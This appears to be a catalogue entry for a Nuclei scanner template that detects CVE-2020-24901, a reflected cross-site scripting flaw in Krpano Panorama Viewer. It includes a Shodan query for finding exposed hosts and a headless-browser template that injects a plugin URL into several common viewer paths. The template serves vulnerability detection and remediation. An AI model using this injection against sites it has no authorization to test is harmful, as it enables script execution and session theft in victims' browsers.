CVE-2020-24901: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting
- Template: CVE-2020-24901
- Name: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting
- Description: The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the plugin[test].url parameter in krpano.html. When passQueryParameters allows plugin parameters, a remote Javascript file supplied in the URL is loaded as a plugin and executed in the origin of the viewer.
- Impact: An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.
- Remediation: Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include plugin parameters, instead of true.
- Severity: medium
- Authors: s4e-io
- Tags: cve, cve2020, krpano, xss, headless, viewer, vkev
- References: https://nvd.nist.gov/vuln/detail/CVE-2020-24901, https://krpano.com/docu/releasenotes/?version=12010, https://krpano.com/docu/embedpano/
- Cves: CVE-2020-24901
- Verified: yes
- Max requests: 1
- Directory: headless/cves
- Path: headless/cves/2020/CVE-2020-24901.yaml
- Digest: 4a0a004730450221008a19e734fa72bbb6e5beee1852103c9f0bb819d06e9db4fe98a495e08c6230ef02203827570ad28c8420646ecfa2bb005bfca055261d7317cb9f4b1016b425d6cbed
- Created at: 2026-11-09T04:21:45Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 15
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/headless/cves/2020/CVE-2020-24901.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.05242
- Epss percentile: 0.92734
- Not known: cpe
Metadata
- Max-request: 1
- Product: panorama_viewer
- Shodan-query: http.html:"embedpano"
- Vendor: krpano
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| krpano:panorama_viewer | no | — |
Labels
- Name: Krpano Panorama Viewer - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or malicious actions.
- Remediation: Update to the latest version of Krpano Panorama Viewer.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs victim to load a malicious URL
- Labels source: projectdiscovery
- From cve: CVE-2020-24901
```yaml
id: CVE-2020-24901
info:
name: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting
author: s4e-io
severity: medium
description: |
The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the plugin[test].url parameter in krpano.html. When passQueryParameters allows plugin parameters, a remote Javascript file supplied in the URL is loaded as a plugin and executed in the origin of the viewer.
impact: |
An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.
remediation: |
Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include plugin parameters, instead of true.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-24901
- https://krpano.com/docu/releasenotes/?version=12010
- https://krpano.com/docu/embedpano/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-24901
epss-score: 0.05242
epss-percentile: 0.92734
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: krpano
product: panorama_viewer
shodan-query: http.html:"embedpano"
tags: cve,cve2020,krpano,xss,headless,viewer,vkev
variables:
flow: (http(1) || http(2)) && headless(1)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "embedpano(")'
- 'contains(body, "passQueryParameters")'
condition: and
internal: true
headless:
- payloads:
path:
- "/"
- "/index.html"
- "/tour.html"
- "/krpano.html"
- "/vtour/index.html"
- "/vtour/tour.html"
attack: batteringram
steps:
- action: navigate
args:
url: "{{BaseURL}}{{path}}?plugin[test].url={{payload}}"
- action: waitdialog
name: krpano_xss
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'krpano_xss == true'
extractors:
- type: dsl
dsl:
- 'BaseURL + path + "?plugin[test].url=" + payload'
digest: 4a0a004730450221008a19e734fa72bbb6e5beee1852103c9f0bb819d06e9db4fe98a495e08c6230ef02203827570ad28c8420646ecfa2bb005bfca055261d7317cb9f4b1016b425d6cbed:922c64590222798bb761d5b6d8e72950
```